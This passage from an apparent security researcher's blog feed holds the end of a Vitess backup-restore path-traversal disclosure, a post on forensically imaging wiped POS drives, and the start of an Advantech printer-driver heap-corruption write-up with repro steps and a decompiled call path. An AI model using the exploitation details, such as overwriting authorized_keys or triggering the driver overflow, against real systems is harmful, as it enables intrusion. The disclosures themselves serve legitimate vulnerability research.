  </span><span class="p">}],</span><span class="w">
  </span><span class="nl">"Keyspace"</span><span class="p">:</span><span class="w"> </span><span class="s2">"test"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"Shard"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Same <code class="language-plaintext highlighter-rouge">vtbackup</code> invocation:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vitess@6d4bc6844b03:/<span class="nv">$ </span><span class="nb">ls</span> /tmp/
OhNo.txt
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/tmp/OhNo.txt</code> exists, outside the data directory, written wherever the
<code class="language-plaintext highlighter-rouge">vitess</code> user can write. Empty contents — I did not bother computing the right
hash for the source, but in theory I could have and then there might be no
error. I guess I was just being lazy, and excited with what I had already found
:P</p>

<p><code class="language-plaintext highlighter-rouge">go/os2/file.go</code>:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="n">Create</span><span class="p">(</span><span class="n">name</span> <span class="kt">string</span><span class="p">)</span> <span class="p">(</span><span class="o">*</span><span class="n">os</span><span class="o">.</span><span class="n">File</span><span class="p">,</span> <span class="kt">error</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">return</span> <span class="n">OpenFile</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">os</span><span class="o">.</span><span class="n">O_RDWR</span><span class="o">|</span><span class="n">os</span><span class="o">.</span><span class="n">O_CREATE</span><span class="o">|</span><span class="n">os</span><span class="o">.</span><span class="n">O_TRUNC</span><span class="p">,</span> <span class="n">PermFile</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">O_TRUNC</code> happens before the hash check. So even with a wrong hash, the target
file gets created and truncated to zero bytes. Point a malicious manifest at
every config or auth file you can guess and the box is bricked. With the right
hash you get full write — <code class="language-plaintext highlighter-rouge">~/.ssh/authorized_keys</code> for the <code class="language-plaintext highlighter-rouge">vitess</code> user being
a killer target, or any other fun files.</p>

<p>No flag based workaround for this one. The fix in
<a href="https://github.com/vitessio/vitess/pull/19470">PR #19470</a> clamps the
destination to the data directory. Upgrade.</p>

<hr />

<h2 id="both-bugs-one-file">Both bugs, one file</h2>

<p>Both bugs sit at the same boundary: <code class="language-plaintext highlighter-rouge">MANIFEST</code> fields treated as trusted at
restore time. Once a string from that file reaches <code class="language-plaintext highlighter-rouge">exec.Command</code> or a path
join, the rest is mechanics.</p>

<hr />

<h2 id="timeline">Timeline</h2>

<ul>
  <li>20 Feb 2026: Reported RCE to <code class="language-plaintext highlighter-rouge">cncf-vitess-maintainers@lists.cncf.io</code>.</li>
  <li>23 Feb 2026: Triage started.</li>
  <li>24 Feb 2026: Fix for RCE drafted. Reported path traversal</li>
  <li>25 Feb 2026: Public bug <a href="https://github.com/vitessio/vitess/issues/19459">#19459</a>
opened. RCE advisory drafted.</li>
  <li>26 Feb 2026: Path traversal advisory drafted. CVSS and CWE finalised.</li>
  <li>27 Feb 2026: Both advisories published. v22.0.4 and v23.0.3 released.</li>
</ul>

<p>7 days from initial email to two published advisories with backports to v22 and
v23. Fast turnaround for a CNCF project — the Vitess maintainers deserve
credit for it.</p>

<hr />

<h2 id="appendix-a-resources">Appendix A: Resources</h2>

<ul>
  <li><a href="https://github.com/vitessio/vitess/security/advisories/GHSA-8g8j-r87h-p36x">GHSA-8g8j-r87h-p36x: Vitess remote code execution via untrusted ExternalDecompressor</a></li>
  <li><a href="https://github.com/vitessio/vitess/security/advisories/GHSA-r492-hjgh-c9gw">GHSA-r492-hjgh-c9gw: Vitess arbitrary file write via path traversal in backup MANIFEST</a></li>
  <li><a href="https://github.com/vitessio/vitess/pull/19460">PR #19460: Do not trust manifest-supplied external decompressor by default</a></li>
  <li><a href="https://github.com/vitessio/vitess/pull/19470">PR #19470: Clamp restore file paths to the destination data directory</a></li>
  <li><a href="https://vitess.io/docs/22.0/user-guides/operating-vitess/backup-and-restore/overview/">Vitess backup and restore documentation</a></li>
</ul>

<hr />]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[CVE-2026-27965 and CVE-2026-27969 - Vitess vtbackup trusted restore-time fields from the backup MANIFEST, allowing RCE via ExternalDecompressor and arbitrary path writes via FileEntries[].Name.]]></summary></entry><entry><title type="html">The Hunt for POS Drivers Continues: Your Drivers Are in Another Castle</title><link href="https://neurowinter.com/security/2025/12/15/The-Hunt-for-POS-Drivers-Continues-Your-Drivers-Are-in-Another-Castle/" rel="alternate" type="text/html" title="The Hunt for POS Drivers Continues: Your Drivers Are in Another Castle" /><published>2025-12-15T00:00:00+13:00</published><updated>2025-12-15T00:00:00+13:00</updated><id>https://neurowinter.com/security/2025/12/15/The-Hunt-for-POS-Drivers-Continues-Your-Drivers-Are-in-Another-Castle</id><content type="html" xml:base="https://neurowinter.com/security/2025/12/15/The-Hunt-for-POS-Drivers-Continues-Your-Drivers-Are-in-Another-Castle/"><![CDATA[<p>After finding my <a href="https://neurowinter.com/security/2025/10/08/Heap-Corruption-in-Advantech-TP-3250-Printer-Driver/">first CVE in a printer driver</a>, I bought a pile of dead POS terminals from an auction,  thinking “these systems handle receipt printers, barcode scanners, cash drawers, driver goldmine!” I built a whole forensic imaging workflow with provenance tracking, carefully imaged 7 drives, and found… wait for it …. absolutely nothing.</p>

<h2 id="world-1-why-i-bought-a-pile-of-dead-pos-terminals">World 1: Why I Bought a Pile of Dead POS Terminals</h2>

<p>So after getting my first CVE and posting about it <a href="https://neurowinter.com/security/2025/10/08/Heap-Corruption-in-Advantech-TP-3250-Printer-Driver/">here</a> and <a href="https://neurowinter.com/security/2025/10/09/Multiple-Expliots-in-Advantech-Printer-Driver/">here</a>, I decided it was time to hunt for more drivers.  Scouring online for drivers got annoying, as it felt like some of them were just hidden. I just didn’t know where to find them, nor what sort of drivers I should be looking for. This led me to look for used systems with disks, as if the drivers were used in a live environment, I knew I at least had some real drivers and that hunting for CVEs in them would be fun.</p>

<p>I managed to buy a range of dusty boxes off a local auction site from a recent liquidation, one man’s trash could be my treasure:</p>

<ul>
  <li>3x Digipos Retail Active 8000-Q67</li>
  <li>4x AURES J2 480L</li>
</ul>

<p>These originally caught my eye, as these boxes are often used in front of house systems, might have all sorts of different devices plugged into them, and have all sorts of potentially juicy targets on them. I also wanted to make sure I was doing things right here, if these drives contained a tonne of cool drivers or even a tonne of customer data, I wanted to be sure that I knew the data lineage/provenance, so cue the SOP (Standard Operating Procedure) for ewaste disks!</p>

<hr />

<h2 id="world-2-designing-the-pos-driver-hunting-lab-project">World 2: Designing the “POS Driver Hunting Lab” Project</h2>

<p>I make the mistake of not keeping good notes almost daily. This time, however, it was going to be different. First I had to figure out what bits of information I wanted to keep track of so that I could trace the data provenance. I ended up coming up with this:</p>

<ul>
  <li>HOST:
    <ul>
      <li>Auction lot</li>
      <li>Model / brand</li>
      <li>Vendor labels or asset tags</li>
      <li>CPU</li>
      <li>RAM</li>
      <li>Drives</li>
      <li>Cards</li>
    </ul>
  </li>
</ul>

<p>So in the processing of a new e-waste computer I will need to record all that information, where I will record even more info per drive and card if they exist.</p>

<p>Now for the drives I wanted to record a bit more information both in my notes application and on disk, but for now let’s focus on the notes app.</p>

<ul>
  <li>DRIVE:
    <ul>
      <li>Model</li>
      <li>Serial</li>
      <li>Form factor</li>
      <li>Source (i.e which host)</li>
      <li>Date imaged</li>
      <li>Imaging tool used</li>
      <li>Hash</li>
      <li>Contents notes</li>
      <li>Status</li>
    </ul>
  </li>
</ul>

<p>With all that info for each disk I felt like I was in a place where I could tie any data found on any drive down to the lot number it came from. I thought this could have been important if I managed to find a tonne of customer data stored unencrypted or something like that.</p>

<p>Here is an example of a note or two:</p>

<p>HOSTS:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>### Host-02 – Aures Ssf J2 480L

- **Auction lot:** `#06`
- **Type:** POS box
- **Vendor labels / asset tags:**
  - `I0032871`
  - `S/N Q305690002`
  -  ``windows embedded POS READY: REDACTED x20-88070`
- **Internal layout:**
  - CPU: `Celeron ??`
  - RAM: `1x Crucial 4GB DDR3-1600` `1x TLA 4GB DDR3-1600`
  - Drives: `NA`
- **Actions:**
  - [x] Labelled chassis (`HOST-02`)
  - [x] Drives removed + labelled
  - [x] RAM removed + inventoried
  - [ ] Chassis sent to ewaste
- **NOTES**
	- Sticker on the side that had `REDACTED (take a guess at what this was. If you guessed passwords you were right!)`
</code></pre></div></div>

<p>DISKS:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>### Drv-01 – 120GB 750 Evo (from HOST-01)

- **Physical drive**
  - Model: `Samsung SSD 750 EVO 120GB`
  - Serial: `S33MNB0H715656A`
  - Form factor: `2.5" SATA`

- **Source host:** `HOST-01 – Aures J2 480L`

- **Imaging**
  - Date: [[2025-11-30]]
  - Tool: `ddrescue`
  - Commands:

`text
  sudo ddrescue -n /dev/sdb DRV-01.img DRV-01.log
`

  - Hashes:

	```text
    sha256: 45ea7cb72917f774e077e36fc0d885ffd381840584a63986db371ffcddec0fb5
    ```

- Imaging: ✅ complete
- Contents: wiped SSD, empty partition table, no filesystem
- Status: Archived – no further analysis

- **Next steps**
  - [x] Make working copy: `cp DRV-01.img work_DRV-01.img` ✅ 2025-11-30

</code></pre></div></div>

<hr />

<h2 id="world-3-imaging-sop-from-one-off-commands-to-a-repeatable-process">World 3: Imaging SOP: From One-off Commands to a Repeatable Process</h2>

<p>Now that I have all the note keeping out of the way time to actually do something with the disks.</p>

<p>It turns out that all of the drives were 2.5” SSDs, and as it has been a while since I have done any disk imaging - so I can’t find which bloody box / drawer / storage locker my sata to usb converter is in - I had to head out and buy a new docking station. I ended up with this one from Jaycar: https://www.jaycar.co.nz/usb-3-0-sata-hdd-docking-station/p/XC4687 In the future I think I will look for a hardware write blocker to ensure that I am NEVER changing what is on the disks.</p>

<p>Below is my work flow for imaging the disks:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># First I need to find the device</span>
lsblk <span class="nt">-o</span> NAME,SIZE,MODEL,SERIAL  <span class="c"># from here I can take the /dev/sdX in this case lets call it sdd</span>
<span class="c"># Now I need to make sure that I am mounting it in READ ONLY!!</span>
<span class="nb">sudo </span>blockdev <span class="nt">--setro</span> /dev/sdd
<span class="c"># Then confirm that it is in fact in RO with</span>
lsblk <span class="nt">-o</span> NAME,RO /dev/sdd
<span class="c"># Now we image it!</span>
<span class="c"># We will start off with a single pass of ddrestore:</span>
<span class="nb">sudo </span>ddrescue <span class="nt">-n</span> /dev/sdd DRV-06.img DRV-06.log <span class="c"># Note the DRV-0X here this is useful for your own note keeping</span>
<span class="c"># I then inspect the log, make sure it was imaged correctly then create the sha256 hash for it.</span>
<span class="nb">sha256sum </span>DRV-06.img <span class="o">&gt;</span> DRV-06.img.sha256
<span class="c"># From here I can fill out the rest of the info in my drive notes.</span>
</code></pre></div></div>

<p>Great ! Now we have a bunch of images of the drives, where everything should be exactly the same as what was on the disk itself.</p>

<p>Since we have a copy, we can now attempt mounting the image, and having a look.</p>

<p>Here I am working on the assumption that these disks have not been tampered with, nor have they been wiped, since that is my best case scenario (more on this later :P)</p>

<h2 id="world-4-what-was-actually-on-the-disks-spoiler-almost-nothing">World 4: What Was Actually on the Disks (spoiler: Almost nothing)</h2>

<p>So… after painfully manually imaging each and every disk, keeping a good working log, and tracking the provenance of each drive, it was finally time to reap the spoils of my hard work.</p>

<p>Spoiler: there were no spoils.</p>

<h3 id="first-pass-surely-theres-a-windows-install-in-here-somewhere">First Pass: “Surely there’s a Windows Install in Here somewhere?”</h3>

<p>The very first thing I did with each image was the obvious:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>fdisk <span class="nt">-l</span> DRV-01.img
Disk DRV-01.img: 111.79 GiB, 120034123776 bytes, 234441648 sectors
Units: sectors of 1 <span class="k">*</span> 512 <span class="o">=</span> 512 bytes
Sector size <span class="o">(</span>logical/physical<span class="o">)</span>: 512 bytes / 512 bytes
I/O size <span class="o">(</span>minimum/optimal<span class="o">)</span>: 512 bytes / 512 bytes
Disklabel <span class="nb">type</span>: dos
Disk identifier: 0x00000000

Device      Boot Start End Sectors Size Id Type DRV-01.img1 <span class="k">*</span>        0   0       0   0B  0 Empty
</code></pre></div></div>

<p>:(</p>

<p>Drive after drive, the same story. I jumped on each one hoping this was finally it. Nothing.</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Disklabel type: dos</code></li>
  <li>A single “partition” entry of type <code class="language-plaintext highlighter-rouge">0 Empty</code></li>
  <li>Start = 0, End = 0, Sectors = 0</li>
</ul>

<p>So there <em>was</em> an MBR, but the partition table itself was effectively blank. No neat little <code class="language-plaintext highlighter-rouge">NTFS</code> or <code class="language-plaintext highlighter-rouge">HPFS/NTFS/exFAT</code> entries, no recovery partition, nothing.</p>

<p><code class="language-plaintext highlighter-rouge">file</code> wasn’t any more encouraging:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>neuro on Berne in …/neuro/data/POS-IMAGES file DRV-01.img
DRV-01.img: DOS/MBR boot sector
</code></pre></div></div>

<p>Okay. So we have a boot sector. Maybe the interesting stuff is hiding further in!!</p>

<p>Here I will use hexdump to just have a look at what is on the disk, at a few different intervals, first I want to see the MBR, Then what is on the disk 1mb in, and finally 1GB in:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>neuro on Berne in …/neuro/data/POS-IMAGES hexdump -C -n 512 DRV-01.img | head
00000000  eb 01 90 ea 08 7c 00 00  fc b8 00 10 8e c0 b8 7f  |.....|..........|
00000010  02 31 db b9 03 00 30 f6  cd 13 0f 82 f1 00 b8 00  |.1....0.........|
00000020  10 8e d8 b8 00 20 8e c0  31 f6 66 31 ff 31 d2 bd  |..... ..1.f1.1..|
00000030  35 7c e9 dc 00 88 c3 c0  e3 04 bd 40 7c e9 d1 00  |5|.........@|...|
00000040  08 d8 30 e4 89 c1 a8 80  75 1e bd 50 7c e9 c1 00  |..0.....u..P|...|
00000050  41 26 88 05 66 47 85 ff  75 0a 8c c7 81 c7 00 10  |A&amp;..fG..u.......|
00000060  8e c7 31 ff e2 eb eb 1f  80 e1 7f 41 bd 72 7c e9  |..1........A.r|.|
00000070  9f 00 26 88 05 66 47 85  ff 75 0a 8c c7 81 c7 00  |..&amp;..fG..u......|
00000080  10 8e c7 31 ff e2 e8 66  81 ff 00 b0 04 00 72 9f  |...1...f......r.|
00000090  b8 12 00 cd 10 31 db be  28 7d ba c8 03 88 d8 3c  |.....1..(}.....&lt;|
neuro on Berne in …/neuro/data/POS-IMAGES dd if=DRV-01.img bs=1M skip=1 count=1 | hexdump -C | head
00000000  5f 0b a2 54 78 e2 cc 74  11 43 05 7f da ab ab 7b  |_..Tx..t.C.....{|
00000010  e0 7d 20 8c 2f 63 47 78  e4 74 5a 38 bc a5 2c 4c  |.} ./cGx.tZ8..,L|
00000020  b7 ea ef 48 98 44 28 2d  e4 c5 65 ff f3 0b 9f fd  |...H.D(-..e.....|
00000030  a2 55 af a4 d3 42 24 85  90 0c 67 2f 4a 9c 0f 6c  |.U...B$...g/J..l|
00000040  3e e2 75 9b 58 32 9a 1c  f4 dc db a2 de 07 c5 72  |&gt;.u.X2.........r|
00000050  dc b7 b2 5d b0 86 4f 04  ac fa d2 07 8c 72 a3 9f  |...]..O......r..|
00000060  48 8f c2 5b 2d c2 94 3a  41 80 f0 fa 62 95 63 d2  |H..[-..:A...b.c.|
00000070  d4 93 40 78 88 ae 90 fe  aa 14 75 01 7f 5d 44 92  |..@x......u..]D.|
00000080  c2 d1 0c 35 aa d8 59 29  7c 1f e6 c2 af 77 26 ef  |...5..Y)|....w&amp;.|
00000090  b1 5b 9f 9b 43 c3 c6 ed  61 a2 d2 f9 b9 d3 20 f0  |.[..C...a..... .|
neuro on Berne in …/neuro/data/POS-IMAGES dd if=DRV-01.img bs=1M skip=1024 count=1 | hexdump -C | head
00000000  49 a7 f0 48 3a c6 2e 27  b1 1c a8 03 39 47 c1 c5  |I..H:..'....9G..|
00000010  d9 8a 31 21 74 f5 df f1  8b d6 84 38 a4 90 4e a6  |..1!t......8..N.|
00000020  26 59 4b bf 89 28 ca 34  50 31 1c ca 93 12 23 db  |&amp;YK..(.4P1....#.|
00000030  30 ae ea 7e ce 70 83 9e  fa 5e 65 ed e9 d7 78 32  |0..~.p...^e...x2|
00000040  0a 3a 42 98 25 f8 d0 cd  3b 8f e3 e2 8e bf 67 e2  |.:B.%...;.....g.|
00000050  09 de a2 36 28 62 25 c6  b2 ed 9c fb b5 a7 d9 39  |...6(b%........9|
00000060  5a 54 f0 3d 13 88 34 6a  f4 8b 64 00 d6 32 13 73  |ZT.=..4j..d..2.s|
00000070  1c 76 00 6d 5e ed fd 1d  0e fd 7a 2e 7c 60 86 64  |.v.m^.....z.|`.d|
00000080  54 f1 de a4 37 15 44 69  b7 69 b0 10 42 6a ed de  |T...7.Di.i..Bj..|
00000090  01 85 d4 e0 6b cf 2b 8e  aa 0e aa 4f 8a b8 f9 5f  |....k.+....O..._|
</code></pre></div></div>

<p>Sector 0 looked like a perfectly normal boot stub, some real mode 16-bit code, nothing obviously custom or branded. This looks like a normal MBR. However the rest were high entropy, gibberish. Great.</p>

<p>This high-entropy randomness is the hallmark of either strong encryption or a secure wipe tool like DBAN or the built-in Windows ‘Format’ secure erase. No recognizable patterns, no filesystem signatures just noise.</p>

<p>Okay okay, you know what MAYBE I can find some interesting strings on the drive, if there was any sort of Windows OS on it I would expect to see:</p>

<ul>
  <li>Paths like \Windows\System32...</li>
  <li>PE headers (This program cannot be run in DOS mode)</li>
  <li>Device driver names, INF fragments, registry junk, etc.</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>neuro on Berne in …/neuro/data/POS-IMAGES strings -a DRV-01.img | head
???:99235,./&amp;(*000
r*I&amp;
1xKv'i
*bHe
Gw@`
Ww1Wwv @
Gw@@
Ww`w
wwDFww
fwwP
</code></pre></div></div>

<p>Nope, gibberish again, this is not looking good.</p>

<p>Finally in a last ditch effort I threw both <code class="language-plaintext highlighter-rouge">testdisk</code> and <code class="language-plaintext highlighter-rouge">photorec</code> at the images, both to no avail.</p>

<p>Finally I can conclude that the shop that was doing the auction, did a really good job at making sure that there was no recoverable data from these POS machines. Good for privacy and security, bad for me who is hunting for POS drivers!</p>

<h2 id="world-5-automating-the-boring-bits">World 5: Automating the Boring Bits</h2>

<p>After doing this a few times by hand, I realised my “workflow” was basically a pile of oneliners in my bash history ready for me to forget how to use and how to run :</p>

<ul>
  <li>remember to set the disk read-only</li>
  <li>remember the right <code class="language-plaintext highlighter-rouge">ddrescue</code> incantation</li>
  <li>remember where I put the image</li>
  <li>remember to hash it (properly named) afterwards</li>
</ul>

<p>That was okay for this one off experiment, but if I wanted to continue doing this in my search for POS drivers I would need a much more robust, and reusable approach, enter my tiny crappy bash scripts:</p>

<p><a href="https://github.com/NeuroWinter/lab-scripts/tree/main/disks"><code class="language-plaintext highlighter-rouge">https://github.com/NeuroWinter/lab-scripts/tree/main/disks</code></a></p>

<p>Very briefly, they do this:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">image_and_hash.sh</code>
    <ul>
      <li>Takes a block device (e.g. <code class="language-plaintext highlighter-rouge">/dev/sdd</code>) and a logical name (<code class="language-plaintext highlighter-rouge">DRV-06</code>).</li>
      <li>Sets the device read-only as a software write blocker.</li>
      <li>Runs <code class="language-plaintext highlighter-rouge">ddrescue</code> into a temp image + log.</li>
      <li>Copies the image into my <code class="language-plaintext highlighter-rouge">POS-IMAGES</code> directory while streaming it through <code class="language-plaintext highlighter-rouge">sha256sum</code> and <code class="language-plaintext highlighter-rouge">md5sum</code>, so I get hashes and the final image in a single pass.</li>
      <li>Moves the <code class="language-plaintext highlighter-rouge">ddrescue</code> log next to the image and deletes the temp file.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">hash_one_image.sh</code>
    <ul>
      <li>Takes an existing <code class="language-plaintext highlighter-rouge">*.img</code> and generates matching <code class="language-plaintext highlighter-rouge">*.img.sha256</code> and <code class="language-plaintext highlighter-rouge">*.img.md5</code> sidecar files.</li>
      <li>Skips images that already have both hashes, so I can just point it at a folder and let it churn.</li>
    </ul>
  </li>
</ul>

<p>They’re not fancy, but that’s the point: I now have a repeatable, boring, safeish by default way to go from “mystery SATA SSD” to “documented image + hashes + provenance in my notes”, without relying on whatever badly remembered commands happen to be in my history that day.</p>

<h2 id="world-6-lessons-from-the-data-being-in-another-castle">World 6: Lessons From the Data Being in Another Castle</h2>

<p>While there was no real plunder for this voyage, I gained valuable intel:</p>

<h3 id="what-worked">What Worked</h3>
<ol>
  <li>Methodology is solid - The provenance tracking and imaging scripts are reusable</li>
  <li>Validation of ethics - This auction house takes data destruction seriously</li>
  <li>New forensics skills - testdisk and photorec are now in my toolkit</li>
  <li>Negative signal is signal - Now I know to avoid professional IT liquidators</li>
</ol>

<h3 id="next-steps">Next Steps</h3>

<p>The princess…er, drivers, are still out there. The scripts work the methodology is sound, I just need to find sellers who <em>aren’t</em> doing their job properly. Time to try another world.</p>

<p>If you’re attempting similar research: learn from my expensive mistake and target the bottom of the market, not the professional middle.</p>]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[Bought seven dead POS terminals hunting for vulnerable printer drivers. Built a forensic imaging workflow with provenance tracking. Found absolutely nothing, every drive was professionally wiped. Here's what I learned about driver hunting and why professional IT liquidators are your enemy.]]></summary></entry><entry><title type="html">Advantech printer driver: heap corruption via Monochrome blit function (DrvRender_x64_ADVANTECH.dll)</title><link href="https://neurowinter.com/security/2025/10/09/Multiple-Expliots-in-Advantech-Printer-Driver/" rel="alternate" type="text/html" title="Advantech printer driver: heap corruption via Monochrome blit function (DrvRender_x64_ADVANTECH.dll)" /><published>2025-10-09T00:00:00+13:00</published><updated>2025-10-09T00:00:00+13:00</updated><id>https://neurowinter.com/security/2025/10/09/Multiple-Expliots-in-Advantech-Printer-Driver</id><content type="html" xml:base="https://neurowinter.com/security/2025/10/09/Multiple-Expliots-in-Advantech-Printer-Driver/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li>
    <p>The driver’s “monochrome blit” pipeline (8bpp → 1bpp), reachable via a DRVFN
entry in DrvRender_x64_ADVANTECH.dll, works out the 1-bpp buffer size with
32-bit arithmetic and then writes height*stride bytes into it.</p>
  </li>
  <li>
    <p>With attacker controlled surface geometry (width/height) plus a lax
“count/length” field, the driver allocates too little memory and smashes the
heap.</p>
  </li>
  <li>
    <p>The result is a reliable heap corruption crash (<code class="language-plaintext highlighter-rouge">0xC0000374</code>) and highly likely
path to privilege escalation with some extra work</p>
  </li>
  <li>
    <p>No spooler access is required to trigger the bug; a local process that loads
the DLL can reach the path.</p>
  </li>
  <li>
    <p>The trigger for this bug does not require any admin or spooler access, all that
is needed is access to the dll.</p>
  </li>
  <li>
    <p>Driver can be found here: <a href="https://www.advantech.com/emt/support/details/driver?id=1-2LFJBRQ">Advantech URP-PT802/PT803 Driver Download</a> this uses the same TP 3250 driver under the hood.</p>
  </li>
</ul>

<h2 id="background">Background:</h2>

<p>After poking around and finding the bug in the last blog post in the DrvUI dll (<a href="/security/2025/10/08/Heap-Corruption-in-Advantech-TP-3250-Printer-Driver/">previous post</a>),
I chose to look at some of the other dlls installed with these drivers :)</p>

<p>One of those dlls was the <code class="language-plaintext highlighter-rouge">DrvRender_x64_ADVANTECH.dll</code> the fun thing here is
that this dll exposes a load of different functions that can be called from an
external program, one of which looked interesting as it had a tonne of
different arithmetic. This turned out to be fruitful as there were some 32bit
-&gt; 64bit conversions which is never a good idea.</p>

<h2 id="test-env">Test Env:</h2>

<ul>
  <li>Virtual box running Microsoft Windows 10 build 19041 x64</li>
  <li>Clean VM with only Windgb, Vbox additions, and the driver installed.</li>
  <li>A remote path to my host machine to move exes and other files around.</li>
</ul>

<h2 id="repro">Repro:</h2>

<ol>
  <li>
    <p>Compile the <code class="language-plaintext highlighter-rouge">ex.c</code> file in the appendix, eg: <code class="language-plaintext highlighter-rouge">x86_64-w64-mingw32-gcc ex.c -o ex.exe -lwinspool</code></p>
  </li>
  <li>
    <p>Enable crash dumps on the windows system. See previous post to see how</p>
  </li>
  <li>
    <p>Install the driver from the link above (in TLDR)</p>
  </li>
  <li>
    <p>Run the compiled code and view the <code class="language-plaintext highlighter-rouge">ex.exe.N</code> file in <code class="language-plaintext highlighter-rouge">C:\Dumps\</code> or
wherever you set you dumps to go. Another option is to run
<code class="language-plaintext highlighter-rouge">gflags /p /enable ex.exe /full</code> and then run the exe inside of WinDbg</p>
  </li>
</ol>

<h3 id="the-bug">The Bug</h3>

<h4 id="from-dll-to-drvfn-table">From DLL to DRVFN table</h4>

<p>So, one of the main things I learnt in this process was that of the DRVFN table.
For those unfamiliar with Windows driver architecture, the DRVFN (Driver
Function) table is a dispatch table that printer drivers use to
tell Windows which functions they support. When a driver’s DrvEnableDriver
function is called, it returns this table containing function indices (like
0x13 for DrvCopyBits) paired with pointers to the actual implementation
functions. Think of it as the driver saying “here is what I can do, and where
you can find it” Windows then uses these function pointers to call into the
driver when it needs to do things with the driver.</p>

<p>One of the functions that was exported in the DLL was <code class="language-plaintext highlighter-rouge">DrvEnableDriver(uint
param_1,uint param_2,undefined4 *param_3)</code> This was a major give away to the
DRVFN table’s structure (Note that in this snippit, I have already renamed the
DAT to DRVFN64_ARRAY_180005f50, since I have converted it):</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">DrvEnableDriver</span><span class="p">(</span><span class="n">uint</span> <span class="n">param_1</span><span class="p">,</span><span class="n">uint</span> <span class="n">param_2</span><span class="p">,</span><span class="n">undefined4</span> <span class="o">*</span><span class="n">param_3</span><span class="p">)</span>

<span class="p">{</span>
  <span class="n">DWORD</span> <span class="n">dwErrCode</span><span class="p">;</span>

                    <span class="cm">/* 0x10e44  3  DrvEnableDriver */</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">param_1</span> <span class="o">&lt;</span> <span class="mh">0x20000</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">dwErrCode</span> <span class="o">=</span> <span class="mh">0x77</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="mh">0xf</span> <span class="o">&lt;</span> <span class="n">param_2</span><span class="p">)</span> <span class="p">{</span>
      <span class="o">*</span><span class="n">param_3</span> <span class="o">=</span> <span class="mh">0x20000</span><span class="p">;</span>
      <span class="n">param_3</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x16</span><span class="p">;</span>
      <span class="o">*</span><span class="p">(</span><span class="n">DRVFN64</span> <span class="o">**</span><span class="p">)(</span><span class="n">param_3</span> <span class="o">+</span> <span class="mi">2</span><span class="p">)</span> <span class="o">=</span> <span class="n">DRVFN64_ARRAY_180005f50</span><span class="p">;</span>
      <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">dwErrCode</span> <span class="o">=</span> <span class="mh">0x57</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">SetLastError</span><span class="p">(</span><span class="n">dwErrCode</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>What this tells us is that there is a structure at the location of 180005f50 that takes the from:</p>

<p><code class="language-plaintext highlighter-rouge">param_3[1] = 0x16;</code> tells us that the length of the array is 22. Also Windows
defines DRVFN as <code class="language-plaintext highlighter-rouge">{ULONG iFunc; PFN pfn; }</code> on x64, a pad is inserted between
the 4-byte iFunc and the 8-byte pointer, so each element is 16 bytes:</p>

<p><img src="/assets/images/drvfn.png" alt="An image showing the Structure Editior with the DRVFN structure" /></p>

<p>Now this can be applied to the structure at 180005f50 and we know there are 22 elements.</p>

<p>This will point us to the functions that we can use from the dll. Today we are looking at the 10th element or:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>          180005ff0 13 00 00 00 00  DRVFN64                           [10]
                    00 00 00 54 55
                    01 80 01 00 00
             180005ff0 13 00 00 00     uint32_t  13h                     iFunc
             180005ff4 00 00 00 00     uint32_t  0h                      pad
             180005ff8 54 55 01 80 01  UINT64    180015554h              pfn
                       00 00 00
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">DrvEnableDriver → DRVFN[] → [iFunc=0x13] → RVA 0x15554</code></p>

<h4 id="call-path">Call Path</h4>

<p>The vulnerable call path that we are exploiting here is in that function at 15554:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x15554 (wrapper)
    0x177B8  (8-bpp plane builder)   ← can under-allocate
    0x1817C  (1-bpp allocator)       ← can under-allocate
        0x21C08  (1-bpp packer)          ← overflow sink
            → EngCreateBitmap → EngAssociateSurface → EngCopyBits
</code></pre></div></div>

<h4 id="vulnerable-code">Vulnerable code</h4>

<p>Okay so now lets have a look at these functions:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
